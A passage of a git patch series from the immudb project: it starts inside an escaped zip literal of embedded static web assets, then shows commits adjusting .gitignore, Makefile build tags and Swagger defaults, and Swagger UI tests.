un\x8f\xd3\x12.a\x1b\xc4\xc2k\n\xd2XY^\x0cU\x1a\x151\xf0x8\xd16#\x18\x18\xd5}\x85\x0f\x9d\xbdtT7\xccT\xcf[x\xccQ\xa3\x95\xa5\xf7\xdc\x16\xcc\xc5b\xee\x13.C\xcd\xf0\x9a=\xbe\xf9\x8d\xdb'wZ\x8bNy3\xbe\x11\xe5\xa0P\xe1MX\x82\x9b\xe3\xdc\x1e\xd7f\xd7wn#FBD\xfb\x0f\xafF\xf7\xd3\xe5dd\xb2\xb4n\x14\x05\xf8\x9f\"\x7f\x1a]L\xf2\x95\xa0\x04\xd7\x01\xc1\x166\x00 \x83\xbe\xc69\x19\xa8\x14\x027\x12\xfe~\x1f\xc0\xec\x93\xf4I\xe5?}\xc4\xd53\x00%ij\x9c\xd3\x01\n\xe72M\xcf\xe6-8C>\x05%-\xa4\xf7/\xf8\xb7\xc2\xce~A\x80$z\x9a\x1d1P\x8c\xe0\xcd\xe5I\xcem\xd4\xe3\x18\x8b\"~\xb0k\xda w]\x0c\xfd\xfer?\x0f\xf0>\xe0\xf1A\xd1\xc8CC\xa4\xf4\x05\xa4\x81SI5\xd3\x11\xe7\n\xb1\xe6\x80C9\xe8\xae\x9bZ\x16\x8c\x9e#\xf9\x83{>\xad\x85\x080V\\\x9b\x962z+\xe6}}\x0f\xa0\x04o'V\xa6\n<\x7f\xa6\xea=\x0e\x08\x8c\xffn(\xcdX\x1b\",Z\x1a(\x92\x1f\xf2\x18jY\x0e\xf2f\xdd\x1e/\x90\xe3F ,J\x9a\xad8\x9a\xa1\x8a\x11}o\x88\xca\xfb\xa4\"\x0e \x04\x87\xcc\x02\xeei\x06oE\xf2C\xae=Qc\xdf\x13\xcd\xa0\xb3\xbe\xbe\xd1\x93\xef\x18{\x16k\x90f\xea\xa9\x15\x18\x11\xca-~\x9c\x1e;J\x1a\x0dO\x17T%\xea\x0d\xec\xc6\xe6\x93\xe5\xb6\xad\xdf\xc5\xdd\xedR\xe5\xd4gn\xb2\xea\xb9\xa5\xaf\\\x17\x7f\xc7T\xa2{.R\x1c\xaf\xfb\x85\xd2\xe4\xe7\xacx\xbc\xe2\x04i\x80j+\xfaK\x1e-s\xc0\xc8\x87\x0dC\x86\x92by^t,\xa6\xad\xf0\xd8Z\xf1?\xf9I)\x1b\xe5sV\x05A\xe8\xe4\xbc\x0c\xcc\xd4\x9c\xb2\xb8\xd4\xca!\x90.t\xa0\xdd\x9b\xce~\x89\x91\x16\x85\x9f#D\xfa\x04\x92\xa6fm\xe5\xf1\x86\xfd\x81I\xe7\x9b+\xfa\xfbuN\xee4\xc4eV;\xcd\x88*\xb46\xf4N\x96\xb7\x8eD\xfa\xc81.\xab\xb1\x1f+\xf3=X\xe4\x8c\xffL\xf2~F]\xd1\xe3\x15\x18EV\xd0\x08\xc0wA\x19{\xf4\xd9Z\xd6\xcc\xd0\x0b^\xa1\xf7\xe5^\xbe.\xd4\x0c\xf2\xb9m\x92\x97\x83\x9b\x993#&T\xb8\xa0.\x89\xff\xf2\xfe\xb9\x0e\xa0\x88\x96\xebHb\xbf8\xcb\x923\xb8\x8aO\x17\xeb\xc9\x81\xc8\x1e\xab\xf1?\x8f4\x06\x0d\xaf\x16\xd7yzi2\x0d\x90x_\xd0\xe3\x83@\xa6C\xfe\xf2\xa6\xd2\xa2\xdaR2:\xc5M\x86\xcb\xe2\xbd\x0e\x99\x86$r\xce\xed\x0d\x83:A\xf4\x93t\xb3\xac[\xaf]\xbe\x0e\xd7Z\xf3/\xe4\xe8\xd7\xc8kJ^y5]D\x11\xf8D@\xda:\x18\xc9\x8d\xb5\x97\x07u\xf58\xb75H\xcaq\x1aQ,A\xc4\xf8\x0e`\x17~\xd3\xe2\x8c\x91D\xcc\x81\x1b\xe5\xcc\xd6!\xc6\xcc\xfe\xe4\xf5\x8a\x98\xc4\xcdz\xa4\x83J\x11\x9a\xee%\xc01\x92`\xd0\xe2_P2\x11\x9b\xd5\x93d\x046\x9f\x91\x97x$\x0b\x9e\xbc\xa5\x02\xc7V'\xaf\xe1-\xa1\xd6\x92\xbf\\\xd9\xcb\x9aS\xd5\x15TKT\x8e\xc8\xed=$\xac\x8a\x1fn\xd6\x85H\xfd\xf5k\xb2\x9f\x91\"\xd9\xa3i\x94\xd2\xf4\x8e\xf0i\"\x0d+e\xcb\x94\xdf\xdc.\xcc\xd6\xec\xd4u\xbc\xc6\xaa-l\xd1\xe8\x89\xa9H\xaf\x96\x11\x02\xd6\x81\xa1\xc5\xe4\x19\x93\xdf@i\x02\x8b\x1b\xb8\xca\xfe\np\x1a\xb79{\xbf$\xd6\xda\xec\xb7\xe0\x9e\x87u\xa7`\xb1\xe2#\xa2\x88i\x05>\xee\x0cN\x96\xefw\x04\xbcW\x97\xb2Z\xf3\xa2\x19\x9au\x1aT\xee\xf3\xb1>\xbe7E\x02\xd6\xef\xc0\x9er\xf6\xc26\xf38}\xe7[\xaf\xaf?\xc9/\xc6\xed\x87\x03\x04\x0f\xe5my\xd7s\xa7\xaa\xad2q%j\nI\xcf1\xff\x04\xb3m\xcf\xb8\xc8\x1f \x94\xd2-p\xec\xf4me\x02\xc4vxhys?\xa7\"\xb7\xbc\xd4\xc2\x82\x89\xdc\xf0\x13\xb5U\xb9\n\xfc\xb3)\xb0\x9b\xca\x1b\xf3\x7f8\xc9Y~\xa6\\\xd4\xe2 h\xf0\xdc\xeda\x0b\xf1\x02\xf1\xbd\xe1e\x8a\x020sM\xbc\xf3\xfa\xba\x9e\xbf\xe8Gg+\xf3\x9b\x99\xea\xd9\xbc\x00\x16]\x8b\xc8\xae\xb3ZU8:<\xbey\\\x98\x88\xf9\\\xbcPR\x1e*\x93O\xcb\xf1>\x9dR\xda6\x0e&P3\xe3!T\x0d%\x1ct*\xe8\xfd\xdc\x07\xc3\xed\xf2\x05\x99q\xb2\xb6'\xefT\xd7e\xa4\xcd\x94$\xe0-&a\xfe\x0b\xf5\xec4\x108\x0ec\x0d\xe5IP\xc3%\xd5\xbaU\xc8\x8c\xd4\xd3\x8e=\x9f\xef\xef\x96\xae\x8eA\x99\xc2\xd4\x8e\x1e\x15\xb2\xb8\xc5\x06.\xdam \xe9~\xc7\xe2\xae\x12 \xc3:}@\xf2\xa2p\xf9\xa0\x96\xf1\x19\xf0\xf3f:\xd1\xed\x1b\xf6q\xfe\x10\xf6$2\xd2\xa537\xd6\x19p-#\xc7\x05;.\xb6H\xa8,J\xcb\xbdZ\xb45%\xf1\x16W\xfd\xf5-\x95W\x86\x11ii\x8f\xdcP\xe5T\xe1\xefB^\xae\xf7\xd6E\xf7\x84/\xdb\xea\x8bg\x1c\x99D\x88>\x89 _\xbc\x1c\n\x91\xad\xb1zfRt\xbf/\xeb\xb0\xbc\xa7\x80\xa0\x12!b\xeb\x81\x97\x8b\xe9\xb8i\xd4h\x0b~\xe6\xeb\\\n3\xc1V\x8e\xe7\xb3;(\x08\x9f\\\xa6\x9b#\"\x98\xa2L\xff/\x05,\xf9\xaf\x0b\x1f\xd4\xa7 \xa4\x11i\x9f?\xcf\x8f\xfb\x90\xe1$\xa0\x19u(\xd0\xfe\xb7\xf3\xbb\x1b+\xc70\xae\xf9wF\xd6*\xd1\xd6\xe2\xc4vj\x10\x9f\x0f8\xd2\xf1\xbc\x0b\xad\xcf,\xca\xcd\x9a\x95\x066\xc1+\x15\x06\x89D\xe4\xe2\xbe\xc3\xab\x1eut\x1c0ByQ\xfc\x92VK\xb4Y\xc4\x84=\xcf$6a\xaf\x07\"\xc6E\x86\x91\xe9A\xb0\x14\xb4\xa9\xb1\x9a%\xfb\x18\x8fB\x14J.\xe7'\x8e\xb7\xcfs\xd2\xdc\xee\xc4ve\xa6\xd2yP\xb8)L9\xbf\xc0P\xe5\xa7\x19G\x87r\xc5\xf3F\xbcpZ\x91\xea\x98\xf1X\xf4aF=6\xda\x8f\x8d\x15\x89\x10\xe0?\xaf\xc7A\xc4\x98\xc5\x90\xd1`mg\xa1L\xfd\x83\x96\xa9h\x13\xa5\x9d\xe8\x80\x03G\x98\x8c4M\x831\x88w\xb4\xbbI/)\xfd\xa2\xca\x001Vx\xba+\x12\x11r\xb6\x86\x8f@\xd86;\xa2\x8a'\x0f\xdf5X\xe8!\x1c\x9c\xc0\xacHD-\xeb\x8a\x11+\xb4\xc5\x0cf\x98\x866\x8dK\x80\x81Sc\x88\xb1\xe0P;R!\x9c\x8b\xc4\xbe\x83\n\x14+\xf8\xbcw\x82\x8a\xbf\xd5(S\xecF\x14\x89\xa8\xe5\x9c\xd1;\x80R\xf3\"R\xd0\xa6*\xd3)[\xd0\xacx\xba\xf9\x84n|+\xde\x04\x16U5hD- =\x8e+\x18\xffd]\xd3\xd3%,\xe1H-\xa2^\xe0\x02\xcf\x12\x90\x1cW\xcc\x95\xfb\x8eE<\xe3\xf6\x9c]+R$[1\xd99\x8d\x8d\xd5\x18,N\x94\x92)\x13\x07l\xe6\x9bC}\xff\x99\x87\x00\x98\xe5\xba\x14'\xe4\x08\xf2W\x8b\xb7f]\x18^\xe1 \xc6O\xf3Jg\xe75#\xf0G\x80L\x00\x8c%\x0d\x1b\xd2\xa8\x9e\xe7\xc6\xb2G5\xa5\xc62\x81\x90\x9b\xdd\x89\x8b^\x9c\xcaF\xb5\x0f\xe2\x80\x90\xfdD\x0dw\x19\xaa\x89\xe2\x1cA\x07\xc1#Q\xa6\xd9\x8d\x08\xba\xd4)\x8f\xb8bq{AE\x9c\xdf\x06\x97\x11\xf8\xc7N\xb5 \xc0\xa1xh\x81Dp\xa2\xbf\x98qV\xc8\x0fC\xfb\x8d,\xfc$nK\x93\x8b\xea\xdbw\x81\xc6x\xefO4L\xcd.\xe2\x10\xe5s*1\xc5\xa3\xf3\xf7\xa3`oa+\xb5i\x05B\x04\x00\x1b\x8e\xc8\x1f\x11\x05\x02\xa1\xa5\xbew\xd4\xd8Mj\xd0\x8b\xef\xaf\x81\x90\xcc\xc3q\xc5\xcb8A\x03\xc3XS6\xb0\xb66\x14\x8a\xd1\xd6\xff\xf5&\xc9)l2\x01\xba\x90\xee/\xe7\xe2\xeb\x96\x89\x18\xa9\xe2 9\x0d\x1d\xd2\xaa\xf8%\xfa9\x13\x82\xdd\x89)d\xb0\xcax]\x9f\x07<\xc89_%y\xf6,\x9a\x9b\xd5\xf8\xbd;\xaaE;\x84\x1d\xff\xbc\xd1<\x92\xdd\x8a\x99\xb3\x06 d\x99\x02\x18\x18\xedW\x13\xc9\x02\x1e\xb2\xb2\x0e\x17\xa3\x9b\\?\xb9YF\x95\xf5\xc5\xeca3\x01\xf6h\xf9\xc9\x19\xa0\xa3Ck\x90\xa2vJ\x95\xe9\x02:\x0b/\xc8}W:\x0f.>/\xfa?i\xc2\xc1\xa9\x82\x0b_\xf9\x94\xd25M\x9cQ\xa8\xaf\xa8'\x169\x0f+\x10]W\xce\xa0\xed\x18\xb9jEx\xde\xd8\xdb\xde\x9b9\xbb\xa8u\xe5\x1c'/5\xd0O\xfd5J\x8f\x8fx\x07\xb6O\xca\x93fy\xb8\xb6\xac\x0e\xd3\x85\x90\xaf\x123\x82uw\xa4If\x0d\xcb*\xe05u\xc1\xe8\xda\xe0bI\xb4\x07>Y\xe7\xadZ\xac\x88)m,5A \xd4\x87\xfc\xfd5Dr\xcff\xcdaQ\xc9a\x8b\x11\xca\x89W\x1d\x9b\xd4I\xd8\x9b\x81\x07\xef%`\x10\x00\x12\x88\xf6\xc0P\xd8\xa4Q\xb8t\xca\xd8\xd9\xa1\x14\xa4\x0e\xff_\xa7\xfd'St_U-\xb0m^\xfc\xe0\xff\xdbG\xfe\xf0/t\xe7\xc6\xed\x1fZ\xcc\xce!\x941\xe3\xf0\xddX\xe7\xab\x8e\xf0\xd0\xee\x80\xe56\x16^\xb3 \x8f3\xf8\xe9Q,\xa2\x04\x07\xf3\xd6\xcc\xad\x8b\xef\xeb\x14\x0b\x1e\xbe\xe5\xa7\x07\xa9\xcf\xa3\x8e\xd3r\x8f\xdf\\\x96O7\x0b\xa3\xed\x85\xd0\xf1\x01c\xfd\xd1.\xce\xfa\xf0WO\xc1\xbb\x98\xc77\xd7\x1d\x95T\x81\xaf\xae\x1f\x1ek\xd4\xac\xb7\x99\xee\xd1\xc1\x17`\x87S\xb8Zq\n+\xf9y\xb2o\x12\xf1\xdc\x99&/O&;\xdf\xd4\x99&^\x1c\xb9qsH(\xc3\xbb\xa6\x86\xd4\xb2\x80{\xdc\x08\xfd2\x11b\xb2\x1f+\xa6\x9c\xf4\xaf\x8f\xe9\xa4\xa4N\xdf]\xcb\x9f\xca\x05\x17\xffy\xe4>~\xebI\x00\xfa\x9d\xca\xca\x1elr\x1df\xb7-!\xf9\xd2q\xc7\x12\x0b\x0b\x0bKCU\x07Q\xafl\x13\xf1?\x01\x00\x00\xff\xffPK\x07\x08{\x86\x02V\x89p\x00\x00\x99p\x00\x00PK\x01\x02\x14\x03\x14\x00\x08\x00\x08\x00\x99\x92OV\n\x06\xc6F\x0f\x02\x00\x00\x14\x04\x00\x00\x12\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\xb4\x81\x00\x00\x00\x00missing/index.htmlUT\x05\x00\x01\x82\"\xedcPK\x01\x02\x14\x03\x14\x00\x08\x00\x08\x00\x99\x92OV{\x86\x02V\x89p\x00\x00\x99p\x00\x00\x12\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\xb4\x81X\x02\x00\x00missing/mascot.pngUT\x05\x00\x01\x82\"\xedcPK\x05\x06\x00\x00\x00\x00\x02\x00\x02\x00\x92\x00\x00\x00*s\x00\x00\x00\x00" + fs.Register(data) + } + \ No newline at end of file From 29996e2213c174d3f35f13be70624b3a5a73148a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Adam=20Ra=C5=BAniewski?= Date: Tue, 21 Feb 2023 16:14:40 +0100 Subject: [PATCH 0247/1062] enabled again gitignoring further statiks builds --- .gitignore | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.gitignore b/.gitignore index d66185fb29..1e974d4835 100644 --- a/.gitignore +++ b/.gitignore @@ -49,5 +49,5 @@ token token_admin swagger/dist -# swagger/swaggerembedded -# webconsole/webconsoleembedded \ No newline at end of file +swagger/swaggerembedded +webconsole/webconsoleembedded \ No newline at end of file From 971abe5c95da8cc7de47ff32bd315abed3fb2c83 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Adam=20Ra=C5=BAniewski?= Date: Tue, 21 Feb 2023 16:34:39 +0100 Subject: [PATCH 0248/1062] Disabling swagger by default --- Makefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Makefile b/Makefile index 83005fbb29..1bab493fa6 100644 --- a/Makefile +++ b/Makefile @@ -20,7 +20,7 @@ VERSION=1.4.1 DEFAULT_WEBCONSOLE_VERSION=1.0.18 SERVICES=immudb immuadmin immuclient TARGETS=linux/amd64 windows/amd64 darwin/amd64 linux/s390x linux/arm64 freebsd/amd64 darwin/arm64 -SWAGGER?=true +SWAGGER?=false SWAGGERUIVERSION=4.15.5 SWAGGERUILINK="https://github.com/swagger-api/swagger-ui/archive/refs/tags/v${SWAGGERUIVERSION}.tar.gz" From b58cbd99d10820cc302a1d9bb4d957201500ed81 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Adam=20Ra=C5=BAniewski?= Date: Tue, 21 Feb 2023 17:11:58 +0100 Subject: [PATCH 0249/1062] Added build tags to build targets --- Makefile | 21 +++++++++++++-------- 1 file changed, 13 insertions(+), 8 deletions(-) diff --git a/Makefile b/Makefile index 1bab493fa6..e912af859c 100644 --- a/Makefile +++ b/Makefile @@ -20,7 +20,8 @@ VERSION=1.4.1 DEFAULT_WEBCONSOLE_VERSION=1.0.18 SERVICES=immudb immuadmin immuclient TARGETS=linux/amd64 windows/amd64 darwin/amd64 linux/s390x linux/arm64 freebsd/amd64 darwin/arm64 -SWAGGER?=false +SWAGGER?=true +FIPSENABLED?=false SWAGGERUIVERSION=4.15.5 SWAGGERUILINK="https://github.com/swagger-api/swagger-ui/archive/refs/tags/v${SWAGGERUIVERSION}.tar.gz" @@ -50,12 +51,16 @@ V_LDFLAGS_FIPS_BUILD = ${V_LDFLAGS_BUILD} \ GRPC_GATEWAY_VERSION := $(shell go list -m -versions github.com/grpc-ecosystem/grpc-gateway | awk -F ' ' '{print $$NF}') SWAGGER_BUILDTAG= WEBCONSOLE_BUILDTAG= +FIPS_BUILDTAG= ifdef WEBCONSOLE WEBCONSOLE_BUILDTAG=webconsole endif ifeq ($(SWAGGER),true) SWAGGER_BUILDTAG=swagger endif +ifeq ($(FIPSENABLED),true) +SWAGGER_BUILDTAG=swagger +endif IMMUDB_BUILD_TAGS=-tags "$(SWAGGER_BUILDTAG) $(WEBCONSOLE_BUILDTAG)" .PHONY: all @@ -81,11 +86,11 @@ webconsole/default: .PHONY: immuclient immuclient: - $(GO) build -v -ldflags '$(V_LDFLAGS_COMMON)' ./cmd/immuclient + $(GO) build $(IMMUDB_BUILD_TAGS) -v -ldflags '$(V_LDFLAGS_COMMON)' ./cmd/immuclient .PHONY: immuadmin immuadmin: - $(GO) build -v -ldflags '$(V_LDFLAGS_COMMON)' ./cmd/immuadmin + $(GO) build $(IMMUDB_BUILD_TAGS) -v -ldflags '$(V_LDFLAGS_COMMON)' ./cmd/immuadmin .PHONY: immudb immudb: webconsole swagger @@ -93,11 +98,11 @@ immudb: webconsole swagger .PHONY: immutest immutest: - $(GO) build -v -ldflags '$(V_LDFLAGS_COMMON)' ./cmd/immutest + $(GO) build $(IMMUDB_BUILD_TAGS) -v -ldflags '$(V_LDFLAGS_COMMON)' ./cmd/immutest .PHONY: immuclient-static immuclient-static: - CGO_ENABLED=0 $(GO) build -a -ldflags '$(V_LDFLAGS_STATIC)' ./cmd/immuclient + CGO_ENABLED=0 $(GO) build $(IMMUDB_BUILD_TAGS) -a -ldflags '$(V_LDFLAGS_STATIC)' ./cmd/immuclient .PHONY: immuclient-fips immuclient-fips: @@ -106,7 +111,7 @@ immuclient-fips: .PHONY: immuadmin-static immuadmin-static: - CGO_ENABLED=0 $(GO) build -a -ldflags '$(V_LDFLAGS_STATIC)' ./cmd/immuadmin + CGO_ENABLED=0 $(GO) build $(IMMUDB_BUILD_TAGS) -a -ldflags '$(V_LDFLAGS_STATIC)' ./cmd/immuadmin .PHONY: immuadmin-fips immuadmin-fips: @@ -115,7 +120,7 @@ immuadmin-fips: .PHONY: immudb-static immudb-static: webconsole - CGO_ENABLED=0 $(GO) build $(IMMUDB_BUILD_TAGS) -a -ldflags '$(V_LDFLAGS_STATIC)' ./cmd/immudb + CGO_ENABLED=0 $(GO) build $(IMMUDB_BUILD_TAGS) $(IMMUDB_BUILD_TAGS) -a -ldflags '$(V_LDFLAGS_STATIC)' ./cmd/immudb .PHONY: immudb-fips immudb-fips: webconsole @@ -124,7 +129,7 @@ immudb-fips: webconsole .PHONY: immutest-static immutest-static: - CGO_ENABLED=0 $(GO) build -a -ldflags '$(V_LDFLAGS_STATIC)' ./cmd/immutest + CGO_ENABLED=0 $(GO) build $(IMMUDB_BUILD_TAGS) -a -ldflags '$(V_LDFLAGS_STATIC)' ./cmd/immutest .PHONY: vendor vendor: From 913881338d160dd7d171619c07e5a21a4d274baa Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Adam=20Ra=C5=BAniewski?= Date: Tue, 21 Feb 2023 17:13:14 +0100 Subject: [PATCH 0250/1062] Preparation for handling fips --- Makefile | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Makefile b/Makefile index e912af859c..703b7577a0 100644 --- a/Makefile +++ b/Makefile @@ -59,9 +59,9 @@ ifeq ($(SWAGGER),true) SWAGGER_BUILDTAG=swagger endif ifeq ($(FIPSENABLED),true) -SWAGGER_BUILDTAG=swagger +FIPS_BUILDTAG=swagger endif -IMMUDB_BUILD_TAGS=-tags "$(SWAGGER_BUILDTAG) $(WEBCONSOLE_BUILDTAG)" +IMMUDB_BUILD_TAGS=-tags "$(SWAGGER_BUILDTAG) $(WEBCONSOLE_BUILDTAG) $(FIPS_BUILDTAG)" .PHONY: all all: immudb immuclient immuadmin immutest From dddedffe83842ce3f4e62e29a07c568519e0277b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Adam=20Ra=C5=BAniewski?= Date: Tue, 21 Feb 2023 17:23:38 +0100 Subject: [PATCH 0251/1062] Disabling default swagger --- Makefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Makefile b/Makefile index 703b7577a0..94208e6579 100644 --- a/Makefile +++ b/Makefile @@ -20,7 +20,7 @@ VERSION=1.4.1 DEFAULT_WEBCONSOLE_VERSION=1.0.18 SERVICES=immudb immuadmin immuclient TARGETS=linux/amd64 windows/amd64 darwin/amd64 linux/s390x linux/arm64 freebsd/amd64 darwin/arm64 -SWAGGER?=true +SWAGGER?=false FIPSENABLED?=false SWAGGERUIVERSION=4.15.5 SWAGGERUILINK="https://github.com/swagger-api/swagger-ui/archive/refs/tags/v${SWAGGERUIVERSION}.tar.gz" From 18ba482f296c12f7fbd4704706c08b1c46fb86eb Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Adam=20Ra=C5=BAniewski?= Date: Tue, 21 Feb 2023 17:41:00 +0100 Subject: [PATCH 0252/1062] Test adjustments --- swagger/swagger_default_test.go | 4 +--- swagger/swagger_test.go | 3 +-- swagger/swaggerembedded/statik.go | 2 +- 3 files changed, 3 insertions(+), 6 deletions(-) diff --git a/swagger/swagger_default_test.go b/swagger/swagger_default_test.go index 1d3f885874..632ff9a105 100644 --- a/swagger/swagger_default_test.go +++ b/swagger/swagger_default_test.go @@ -26,9 +26,7 @@ func TestSetupSwaggerUI(t *testing.T) { rr := httptest.NewRecorder() handler.ServeHTTP(rr, req) - - // Response is either 200 or 307 = redirect - assert.True(t, http.StatusOK == 307, rr.Code) + assert.True(t, rr.Code == 301) // Test just if the response exist _, err = ioutil.ReadAll(rr.Body) diff --git a/swagger/swagger_test.go b/swagger/swagger_test.go index d55ba50a1e..062b9c9b56 100644 --- a/swagger/swagger_test.go +++ b/swagger/swagger_test.go @@ -27,8 +27,7 @@ func TestSetupSwaggerUI(t *testing.T) { rr := httptest.NewRecorder() handler.ServeHTTP(rr, req) - // Response is either 200 or 307 = redirect - assert.True(t, http.StatusOK >= 200, rr.Code) + assert.True(t, rr.Code == 200) // Test just if the response exist page, err := ioutil.ReadAll(rr.Body) diff --git a/swagger/swaggerembedded/statik.go b/swagger/swaggerembedded/statik.go index acc5bb4ddb..54c02fe06c 100644 --- a/swagger/swaggerembedded/statik.go +++ b/swagger/swaggerembedded/statik.go @@ -10,7 +10,7 @@ import ( func init() { - data := "PK\x03\x04\x14\x00\x08\x00\x08\x00snUV\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\x00 \x00index.htmlUT\x05\x00\x01j\xcc\xf4c\x94TQk\xdc8\x10~\xcf\xaf\x98\xd3\x11H\xc0^\xed.,\x04\xc7\xf6\xc3%y\x08\x1cw\xa1i\xa0y\x1c\xdbc[T\xd6\xb8\xd28\xdb\xa5\xf4\xbf\x17\xc7\xde\xec.M\x0b}\xb1\xe4\x99\xf9\xbe\xd1\xa7\xf9P\xfa\xd7\xed\xff7\x1f\x9f\x1f\xee\xa0\x95\xce\xe6g\xe9\xb8\x80E\xd7d\x8a\x9c\xca\xcf\x00\xd2\x96\xb0\x1a7\x00\xa9\x18\xb1\x94\xff\xc7\xf0\xb8\xc5\xa6!\x0fO\xf7@\x0e\x0bKU\xaa\xa7\xe4T\xd8\x91 \xb4\"}L_\x06\xf3\x92\xa9\x1b,[\x8ao\xd8\x89g\xab\xa0d'\xe4$S\x8e\xe3rLE\xe08\x0e\xc2\x9e\"\xe8\x86 \xb1\xa7\x17\xb4\xa6B!\x05\xfaW\xac\x0f\x1e\x9b\x0e\xdf\xa1\xfb\x0d\xe6\xeeko<\x85#\xd0\xf2P\x1dd\xb7\xd7\x00Pp\xb5\x83o\xf3\x0f@\x81\xe5\xe7\xc6\xf3\xe0\xaa\xb8d\xcb>\x81\xbf\xd7\xab\xf5z]^\xbf\x95\xd4\xec$\xae\xb13v\x97\xc0\x07.X8\x82\x80.\xc4\x81\xbc\xa9\x0f\x853\x81o\x8a\x8b\xd5\xd5&\x82\xfd\xe7r_\xf2}^1\x02L^L0B\xd5\xd1YN\x18\xd6#vu\x15\xc1z\xb5\xfc\x89`1\xcaD\xe3\xc8\x9f\xc0\x01z\x0eF\x0c\xbb\x04\xb0\x08l\x07\xa1\xeb\x93\xbcp\x9f\xc0fy~\x1a\xb5T\xcb;a\xf1\xe8B\xcd\xbeK\xa6\xadE\xa1O\x17\xf1fy~y\x08=\xaf\x1a\x90R\x90\xcb\xb4\x92\xfdM)\xa5\xf2G\x16\xcdlv\xedO\x8c\x9a\x05P\xe4\xda\xfe\xce\xda\xfa\xda\x8a\xff\xf0\x0b{\xfemb\xc3\xd4\xc1\xaf\xd3\xb9\xf9\x05\x1ey\xa7\xfb\x87?\xb4\xc1\x83\xd0\xb4_\xcd]\xa3\xbe\xd9},\x1e\xfd\x8an\xe5~\xc8\"\x9e\xc0\xa9\xfe\x89\x95\x8f\x85_R\x8a\x06\xf4-\xd2}B`\xe4\x8fg\xc2\x87z!\xb4\x91\x9a\x0fI8:\xa6\xcf$\x84\x8e\xccHd(\xdbwF2\xdae\x02z&\xd4\xcd\xb9\x9c\x99%\xfd@j\xee\xcet(c5iU\xa6\xbf-7\xbd\xfe F/~L\x02\x8d.\xea\x05@\xf4\xae\xc0\xfb\x07\xa5TcH\x1f\x07\xce\x15@\x168D\x9dV4\xbdI\xa7T\xb1E\x911-\xbe@\xc9\xd9,]\x14sA\xec\xc3\x92\x83\xdc\x0c\xcem\xd6\x1b\xcbk\x90\xdeG\xd4 u\xeb\x08\x11\x17\xb2\xc5\\\xa4\x18l8\xa4\xc4=\x9cy\xb2 2E\x0e\xf2\x82+\x88 \xe0\x95\xc7LRaHm\xe6\xffB\xdb\xc2\x1dO#_#@\x15\x18F@\xfe\xe6h\"[\xf9\xb0zR\x87G7F\xdbQ\xc1%M#\x8e\x16[z\xa0\x07%\x19\x03\x10^ D\xbe\xadeW[X\xc0\xa5\x94\xb2\xae\xa3\x9ds\xc9\x1e\x04\x92C\x14\xa9\xcex\xa8\x83\xe6{\xc7l\x1cg\xaf_\xb1C\xb3u7`\xf8;h\xf0\xd2\x1f\xc4m;\x14\x06\xe3\x87\x9d[13Q\xb82P\x9e\x83:\x8e\xcb\x05\xbae\xb4:\xcc\xee\x08JG\xc6\x99\xf6\x0cKs\xb9\x97\x04\xe7NG\xdb\xa3/V\xd9\xb8\x99\xb6\xdc\xf6\xbcL\xaa\x81\xb68\xed\x1cZ\xa1[\x0e\x8cy\xaf\x08\x84\x0c\xae\xdf:\x16\xf1\xb7\x0c\x1ep\xd2Ix\x8f\x19N\xde>\xf4\x18\xa7d(\xf9\xf5)Q\x97K{\xa0\x91,x\xce\xc1\x8fj\x1b\xcb\xc8u\xdfs\xd6s$\xd3\xbf\x98 \xef\xe3\x8e\x84u\xea\x9e|N\xbb:\x9c\xf4\xc3\xd2\x17\xab\x0c\xa1a\x85\xc9\xd6Y\xba\xc1\xea\xdd\xc3\x00$:r\x17:vs\x0c\x85\x10AM\xe1\xe8\x88\xd3\xa1\xc7\xb0\x19__\x13:\xd6\xc0\x04\xb5\xa7\xb8\x1a,\xfe\xcb\xf80\x18\xc9\xf6\xc3B\x18\xd0dPH][\xef\xbb;` \xe3\xd6 \x1cx\x8e\x91}aN\xc9\xccf\xef9\x85f\xb5_;^\x1b*VG& kNz\x8d+y2\xc7\xbb\x91\xdd\x8b\x86p\xa8\xe3'\xd9\x13w\xcb\xcf\x96\xc0\x81\xdb\x07\xdee\x11f\xe3\x969\xd1{\xb0\xe6\xa8\x9eU\x9d\xde\x95\x0b\x88=*\xac\x1b\x8a\x1af\n\xec15\x8a\xe7\x0d{\x13\x83\xdb\x08\x05\x9b\xb7\xae\x19!\xbbT\x10Y\xd9\xa3\x9a\xf0\x14?V\xd8\x90\xc4\x7f*\xb1\x1f\x87?\x99\xe4,\x03\xc2M\x06\x16\xc5\x8f\x16\xd6\xf8&g\xca\xc6\xed}\xaa:\x99\xa1\x9e\xa6\x06\xc6\xd3x\xc8-\xd1\n\xa9\x0f\x92 \x1d\xbc\xfc\xef'\x0f\x81\x0c^4\xa2$ A\xddL!f \x1cP\xff\xe4Z\x18#\xc4-\xf7K\xdeGd!\x87\x0e\x184\xb2\x0e\x16&\xf0Y\xdb{x\x17\x9d\xfb\x11\xb9\x95\xe9\xab\x7f\xd6i\xb5%\xfeE\x1d\xf3n\xc7z\x91\xc5Wem\xcaa\xb2\xb4'\xea\x1f\xf0Q@\xbf_\xceA\x04\xcd\x93Hzp\xd8\xa0\xfdk\x7f\xa2\xd8\x0f\x12\x87\xa0\n\x87\x03?\xcf\xe1\xcd[\xaa\x9fb\xbd\x90e\x11\xf6\xad:L\xd2\x81\xa5\x82\xa4Wu\xeco\x03\x8b\xd7\xe6\xdf&\x0b\xb6c\xd5\x15\xb6\xbcs\xb3\xe9\xef\xa2\xf0y\x85E\xce\x1a\xc8>\xden\xeev\xfc{\x84jM\xcb\xb3\xc1cZ.\x063O\xd0\xfe\xb4\"\x0f\xe4\xe6\"\xebwTj\xfe\xd6p\x83U\x14kc 